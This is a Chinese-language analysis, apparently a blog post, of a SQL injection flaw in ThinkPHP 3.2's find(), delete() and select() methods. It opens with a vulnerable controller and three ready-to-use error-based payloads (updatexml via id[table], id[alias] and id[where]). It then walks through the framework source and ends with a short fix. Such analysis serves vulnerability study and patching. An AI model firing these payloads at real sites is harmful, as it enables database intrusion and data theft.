控制器代码:



public function index(){
$id=I('id');

$res=M('users')->find($id);
dump($res);
}


 

 

复现:

payload:



id[table]=users where 1 and updatexml(1,concat(0x7e,user(),0x7e),1)--
id[alias]=where%201%20and%20updatexml(1,concat(0x7e,user(),0x7e),1)--
id[where]=1%20and%20updatexml(1,concat(0x7e,user(),0x7e),1)--


thinkphp3.2 find注入_sql语句

分析:
1、find函数



1     public function find($options=array()) {
2 if(is_numeric($options) || is_string($options)) {
3 $where[$this->getPk()] = $options;
4 $options = array();
5 $options['where'] = $where;
6 }
7 // 根据复合主键查找记录
8 $pk = $this->getPk();
9 if (is_array($options) && (count($options) > 0) && is_array($pk)) {
10 // 根据复合主键查询
11 $count = 0;
12 foreach (array_keys($options) as $key) {
13 if (is_int($key)) $count++;
14 }
15 if ($count == count($pk)) {
16 $i = 0;
17 foreach ($pk as $field) {
18 $where[$field] = $options[$i];
19 unset($options[$i++]);
20 }
21 $options['where'] = $where;
22 } else {
23 return false;
24 }
25 }
26 // 总是查找一条记录
27 $options['limit'] = 1;
28 // 分析表达式
29 $options = $this->_parseOptions($options);
30 // 判断查询缓存
31 if(isset($options['cache'])){
32 $cache = $options['cache'];
33 $key = is_string($cache['key'])?$cache['key']:md5(serialize($options));
34 $data = S($key,'',$cache);
35 if(false !== $data){
36 $this->data = $data;
37 return $data;
38 }
39 }
40 $resultSet = $this->db->select($options);
41 if(false === $resultSet) {
42 return false;
43 }
44 if(empty($resultSet)) {// 查询结果为空
45 return null;
46 }
47 if(is_string($resultSet)){
48 return $resultSet;
49 }
50
51 // 读取数据后的处理
52 $data = $this->_read_data($resultSet[0]);
53 $this->_after_find($data,$options);
54 if(!empty($this->options['result'])) {
55 return $this->returnResult($data,$this->options['result']);
56 }
57 $this->data = $data;
58 if(isset($cache)){
59 S($key,$data,$cache);
60 }
61 return $this->data;
62 }
我们输入的的id[where]为数组,所以就可以跳过第二行的所执行的内容,如果正常输入则会将使变量option['where']赋一个数组,当我们跳过这里的赋值时,也就跳过了第29行中
_parseOptions函数中对字段类型验证的判断。


第29行传入了options变量也就时说我们对options变量可控,而第40行中执行了options中的sql语句,所以实现sql注入

2、_parseOptions函数分析



1     protected function _parseOptions($options=array()) {
2 if(is_array($options))
3 $options = array_merge($this->options,$options);
4
5 if(!isset($options['table'])){
6 // 自动获取表名
7 $options['table'] = $this->getTableName();
8 $fields = $this->fields;
9 }else{
10 // 指定数据表 则重新获取字段列表 但不支持类型检测
11 $fields = $this->getDbFields();
12 }
13
14 // 数据表别名
15 if(!empty($options['alias'])) {
16 $options['table'] .= ' '.$options['alias'];
17 }
18 // 记录操作的模型名称
19 $options['model'] = $this->name;
20
21 // 字段类型验证
22 if(isset($options['where']) && is_array($options['where']) && !empty($fields) && !isset($options['join'])) {
23 // 对数组查询条件进行字段类型检查
24 foreach ($options['where'] as $key=>$val){
25 $key = trim($key);
26 if(in_array($key,$fields,true)){
27 if(is_scalar($val)) {
28 $this->_parseType($options['where'],$key);
29 }
30 }elseif(!is_numeric($key) && '_' != substr($key,0,1) && false === strpos($key,'.') && false === strpos($key,'(') && false === strpos($key,'|') && false === strpos($key,'&')){
31 if(!empty($this->options['strict'])){
32 E(L('_ERROR_QUERY_EXPRESS_').':['.$key.'=>'.$val.']');
33 }
34 unset($options['where'][$key]);
35 }
36 }
37 }
38 // 查询过后清空sql表达式组装 避免影响下次查询
39 $this->options = array();
40 // 表达式过滤
41 $this->_options_filter($options);
42 return $options;
43 }


第15、16行将options['alias']的值加在了options['table']后面,而在之后sql语句替换中可以将options['table']的值替换到sql语句当中的,所以也可以sql注入

第22行中由于options绕过了开头的if判断,所以options['where']不再是数组,所以这里也就绕过了字符类型判断

 

3、select函数分析



1     public function select($options=array()) {
2 $this->model = $options['model'];
3 $this->parseBind(!empty($options['bind'])?$options['bind']:array());
4 $sql = $this->buildSelectSql($options);
5 $result = $this->query($sql,!empty($options['fetch_sql']) ? true : false);
6 return $result;
7 }


这里主要是buildSelectSql函数对sql语句的建立

 

4、buildSelectSql函数分析



1     public function buildSelectSql($options=array()) {
2 if(isset($options['page'])) {
3 // 根据页数计算limit
4 list($page,$listRows) = $options['page'];
5 $page = $page>0 ? $page : 1;
6 $listRows= $listRows>0 ? $listRows : (is_numeric($options['limit'])?$options['limit']:20);
7 $offset = $listRows*($page-1);
8 $options['limit'] = $offset.','.$listRows;
9 }
10 $sql = $this->parseSql($this->selectSql,$options);
11 return $sql;
12 }
5、parseSql函数分析



1     public function parseSql($sql,$options=array()){
2 $sql = str_replace(
3 array('%TABLE%','%DISTINCT%','%FIELD%','%JOIN%','%WHERE%','%GROUP%','%HAVING%','%ORDER%','%LIMIT%','%UNION%','%LOCK%','%COMMENT%','%FORCE%'),
4 array(
5 $this->parseTable($options['table']),
6 $this->parseDistinct(isset($options['distinct'])?$options['distinct']:false),
7 $this->parseField(!empty($options['field'])?$options['field']:'*'),
8 $this->parseJoin(!empty($options['join'])?$options['join']:''),
9 $this->parseWhere(!empty($options['where'])?$options['where']:''),
10 $this->parseGroup(!empty($options['group'])?$options['group']:''),
11 $this->parseHaving(!empty($options['having'])?$options['having']:''),
12 $this->parseOrder(!empty($options['order'])?$options['order']:''),
13 $this->parseLimit(!empty($options['limit'])?$options['limit']:''),
14 $this->parseUnion(!empty($options['union'])?$options['union']:''),
15 $this->parseLock(isset($options['lock'])?$options['lock']:false),
16 $this->parseComment(!empty($options['comment'])?$options['comment']:''),
17 $this->parseForce(!empty($options['force'])?$options['force']:'')
18 ),$sql);
19 return $sql;
20 }


这里将options中的值进行查找替换,所以很多值都可以进行替换这里我们输入的时where,在parseWhere函数中将%where%的值替换

thinkphp3.2 find注入_sql函数_02

 

 最终得到执行的sql语句:

thinkphp3.2 find注入_sql函数_03

 

​delete​​,​​find​​,​​select这三个函数都具有此漏洞​

 

防护:

thinkphp3.2 find注入_数组_04

 

 将传入的$option修改成$this->options,同时不对$options进行表达式分析,使options不可控,这里主要是通过_parseOptions函数对options的表达式分析之后形成sql注入。